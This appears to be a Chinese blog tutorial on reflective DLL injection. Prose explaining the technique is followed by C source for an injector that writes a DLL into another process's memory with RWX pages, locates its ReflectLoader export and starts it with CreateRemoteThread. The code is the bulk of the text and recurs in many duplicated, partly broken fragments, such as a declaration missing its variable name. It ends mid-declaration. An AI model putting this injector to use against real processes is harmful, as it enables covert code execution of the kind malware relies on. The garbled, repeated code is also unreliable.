先看普通型的注入,如下:
普通的dll注入是在目标进程中开辟一处空间,在空间中写入dll文件的名称,再用LoadLibraryA
函数通过查找名称来加载dll,而想在程序里调用LoadLibraryA
的话就得用到CreateRemoteThread
函数,这个函数传递的参数之一就有函数指针,等到CreateRemoteThread
创建新线程之后,就会在新线程中调用这个过度函数,其二的参数就是传给指针的参数
这里插一句,在我多次用x64dbg调试得到的感悟,CreateRemoteThread
这个函数,相当于开辟了一个不知道在哪的空间,在这个地方引用你要传入的函数
反射型dll注入则是将整个DLL文件传到目标进程的空间中,然后通过CreateRemoteThread
调用一段shellcode,将DLL展开,并运行
首先查找目标进程的Id,函数的实现不多说了
然后就是注入的程序,思路是先开辟空间,写入DLL文件,然后找到shellcode,最后用CreatERemoteThread函数进入目标进程中
接下来是写入DLL,这里我选择,先在本地读取磁盘文件,然后通过WriteProcessMemory实现远程写入
这里是对本地文件的读取,并且这里的pBuf指向的是本地文件读取以后的基地址
这里做到的便是写入dll但是注意,写入的也是磁盘文件,因为后续要实现对dll文件的展开,映射成内存文件
那就需要两个空间,一个空间是注入原封不动的磁盘文件,另一个是展开需要的空间,但是CreateRemoteThread只可以传入一个参数,那么就不考虑两个空间两个指针了,(其实也可以传入存放给内存空间开辟的地址指针,然后再shellcode里面向回遍历,直到检测到“5D 4A”PE文件头,就获取了磁盘文件的空间指针),一个指针的话,开辟空间的时候就开辟两个ImageSize的空间,然后pDll+ImageSize就是第二个指针了
注意这里获取的是文件偏移地址,因为此时的dll还没有展开(当然你也可以选择,所有的东西现在本地展开一次,然后写入展开后的程序,这样子就可以正常使用函数RVA,后续只需要修复重定位和导入函数了),所以找的不是RVA,而是文件偏移
这个函数的实现,是通过查找dll文件中的导出函数,遍历所有导出函数找到目标函数的RVA,然后需要对RVA转换为文件偏移地址,不过要注意,在文件没有展开之前导出表,以及导出表里的信息都是RVA,需要转换为文件偏移地址,那么写一个RVA-文件偏移就非常方便了
这个的实现是,先查找处于哪个节区,然后通过节区表的首地址经过RVA-虚拟首地址+节区初始地址的真实地址
然后就用CreateRemoteThread创造新线程,然后就可以插入shellcode了
我将一个文件的展开过程分为两部分,一部分是映射文件头和节区段,另一部分是修复重定位表和导入表
这部分相对简单,而且这个部分在里面和外面都可以实现,赋值文件头,然后根据节区头里面的文件偏移和虚拟地址偏移来映射就好
注意这里结束以后,节区表就修复完成了,所以可以使用自己封装的函数了
根据数据目录表定位重定位表,再根据重定位表结构来进行修复
导入表的修复是比较困难的,再导入表修复前是不可以使用API的,但是在修复导入表这个过程中,不可避免的要用到LoadLibraryA与GetProcAddress,所以就需要一个新东西先找到这两个函数
这里我没有过多的去了解,仅仅知道TEB是线程环境块,其中存储着PEB的指针,PEB是一个进程环境块,其中有一个叫PEB.Ldr的结构体,里面存储着已经加载的DLL文件指针
也就是说可以通过查找PEB.Ldr来找到kernel32.dll模块的句柄,然后找到其中的API,PEB.Ldr的结构如下
理论可行,实践开始
直到这一步是在定位到载入的模块的句柄,后续需要的是遍历载入的模块
从模块基地址中提取模块句柄,然后分析PE文件导出表获取函数名,对比获得函数在当前进程中的地址
通过LoadLibrarA和GetProcAddress函数修复导入表
结束
没啥区别,先扩展到节区表,再用函数,再创建线程,这样做的好处就是不需要再算文件偏移,并且开辟空间的时候更小
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf);
DWORD
ProcesstoPid(
wchar_t
* Processname);
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname);
int
main() {
wchar_t
szProcName[MAX_PATH] = L
"pta.exe"
;
char
Dllname[MAX_PATH] =
"D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll"
;
DWORD
dwPid = ProcesstoPid(szProcName);
DWORD
result = MainInject(dwPid, Dllname);
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"no find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
return
ProcessId;
}
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
return
0xFFFFFFFF;
}
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname)
{
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
LPVOID
pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
SIZE_T
sizeToZero = TotalSize;
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
free
(zeroBuffer);
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
const
char
* reflectFuncName =
"ReflectLoader"
;
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
LPVOID
pAlloc = (
LPVOID
)((
ULONG_PTR
)pDll + ImageSize);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pAlloc + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pDll + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
printf
(
"\n[+] Dll磁盘起始地址:%p"
, pDll);
printf
(
"\n[+] Dll磁盘终止地址:%p"
, (
ULONG_PTR
)pDll + FileSize);
printf
(
"\n[+] Dll内存起始地址:%p"
, pAlloc);
printf
(
"\n[+] Dll整体结束地址:%p"
, (
ULONG_PTR
)pAlloc + ImageSize);
printf
(
"\n[+] 磁盘中Nt表头地址:%p"
, (
ULONG_PTR
)pDll + pDos->e_lfanew);
printf
(
"\n[+] 内存中Nt表头地址:%p"
, (
ULONG_PTR
)pAlloc + pDos->e_lfanew);
printf
(
"\n[+] 磁盘中Sec表头地址:%p"
, pSect);
printf
(
"\n[+] 内存中Sec表头地址:%p"
, pSec);
printf
(
"\n[+] 重定位表基址:%p"
, pBaseReloc);
printf
(
"\n[+] 重定位表RVA:%p"
, (
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);
DWORD
Relco = RVAtoFileOffset((
DWORD
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);
printf
(
"\n[+] 重定位表文件偏移:%p"
, (
ULONG_PTR
)pDll + Relco);
printf
(
"\n[+] 函数 address:%p"
, pReflectLoader);
HANDLE
hThread = CreateRemoteThread(
hProc,
NULL,
0,
(LPTHREAD_START_ROUTINE)pReflectLoader,
pDll,
0,
NULL
);
if
(!hThread) {
printf
(
"\n[-] CreateRemoteThread failed: %d"
, GetLastError());
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
printf
(
"\n[+] ReflectLoader executed successfully."
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return
TRUE;
}
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf);
DWORD
ProcesstoPid(
wchar_t
* Processname);
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname);
int
main() {
wchar_t
szProcName[MAX_PATH] = L
"pta.exe"
;
char
Dllname[MAX_PATH] =
"D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll"
;
DWORD
dwPid = ProcesstoPid(szProcName);
DWORD
result = MainInject(dwPid, Dllname);
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"no find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
return
ProcessId;
}
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
return
0xFFFFFFFF;
}
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname)
{
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
LPVOID
pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
SIZE_T
sizeToZero = TotalSize;
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
free
(zeroBuffer);
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
const
char
* reflectFuncName =
"ReflectLoader"
;
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
LPVOID
pAlloc = (
LPVOID
)((
ULONG_PTR
)pDll + ImageSize);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pAlloc + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pDll + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
printf
(
"\n[+] Dll磁盘起始地址:%p"
, pDll);
printf
(
"\n[+] Dll磁盘终止地址:%p"
, (
ULONG_PTR
)pDll + FileSize);
printf
(
"\n[+] Dll内存起始地址:%p"
, pAlloc);
printf
(
"\n[+] Dll整体结束地址:%p"
, (
ULONG_PTR
)pAlloc + ImageSize);
printf
(
"\n[+] 磁盘中Nt表头地址:%p"
, (
ULONG_PTR
)pDll + pDos->e_lfanew);
printf
(
"\n[+] 内存中Nt表头地址:%p"
, (
ULONG_PTR
)pAlloc + pDos->e_lfanew);
printf
(
"\n[+] 磁盘中Sec表头地址:%p"
, pSect);
printf
(
"\n[+] 内存中Sec表头地址:%p"
, pSec);
printf
(
"\n[+] 重定位表基址:%p"
, pBaseReloc);
printf
(
"\n[+] 重定位表RVA:%p"
, (
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);
DWORD
Relco = RVAtoFileOffset((
DWORD
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);
printf
(
"\n[+] 重定位表文件偏移:%p"
, (
ULONG_PTR
)pDll + Relco);
printf
(
"\n[+] 函数 address:%p"
, pReflectLoader);
HANDLE
hThread = CreateRemoteThread(
hProc,
NULL,
0,
(LPTHREAD_START_ROUTINE)pReflectLoader,
pDll,
0,
NULL
);
if
(!hThread) {
printf
(
"\n[-] CreateRemoteThread failed: %d"
, GetLastError());
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
printf
(
"\n[+] ReflectLoader executed successfully."
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return
TRUE;
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"\nno find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
return
ProcessId;
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"\nno find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
return
ProcessId;
}
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
LPVOID
= VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
SIZE_T
sizeToZero = TotalSize;
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
free
(zeroBuffer);
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
LPVOID
= VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
SIZE_T
sizeToZero = TotalSize;
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
free
(zeroBuffer);
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
const
char
* reflectFuncName =
"ReflectLoader"
;
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
const
char
* reflectFuncName =
"ReflectLoader"
;
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
LPVOID
GetRemoteReflectLoad(
